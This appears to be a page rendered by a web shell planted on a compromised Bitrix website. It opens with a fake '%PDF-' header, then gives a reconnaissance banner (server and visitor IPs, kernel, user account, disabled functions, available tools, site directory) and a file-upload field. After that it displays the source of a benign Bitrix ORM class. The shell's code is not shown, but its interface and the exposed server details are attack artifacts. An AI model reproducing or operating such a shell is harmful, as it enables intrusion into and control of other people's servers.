%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.135.221.112 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/iblock/lib/orm/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage main * @copyright 2001-2020 Bitrix */ namespace Bitrix\Iblock\ORM; use Bitrix\Main\ORM\Fields\ExpressionField; use Bitrix\Main\ORM\Objectify\Collection; use Bitrix\Main\ORM\Objectify\EntityObject; /** * @package bitrix * @subpackage main */ class FairLimitSelector { /** * @param \Bitrix\Main\ORM\Query\Query $query * * @return Collection|null * @throws \Bitrix\Main\ArgumentException * @throws \Bitrix\Main\ObjectPropertyException * @throws \Bitrix\Main\SystemException */ public static function fetchCollection($query) { $select = $query->getSelect(); $query->setSelect([new ExpressionField('DISTINCT_ID', 'DISTINCT %s', 'ID')]); $query->addGroup('ID'); // get elements data $ids = []; foreach ($query->exec()->fetchAll() as $row) { $ids[] = $row['DISTINCT_ID']; } /** @var Collection $elements */ $dataClass = $query->getEntity()->getDataClass(); $elements = $dataClass::createCollection(); if (!empty($ids)) { $query = $dataClass::query(); $query->setSelect($select); $query->whereIn('ID', $ids); $resultElements = []; foreach ($query->fetchCollection() as $elementObject) { /** @var EntityObject $elementObject */ $resultElements[$elementObject->getId()] = $elementObject; } // original sort foreach ($ids as $id) { $elements->sysAddActual($resultElements[$id]); } } return $elements; } }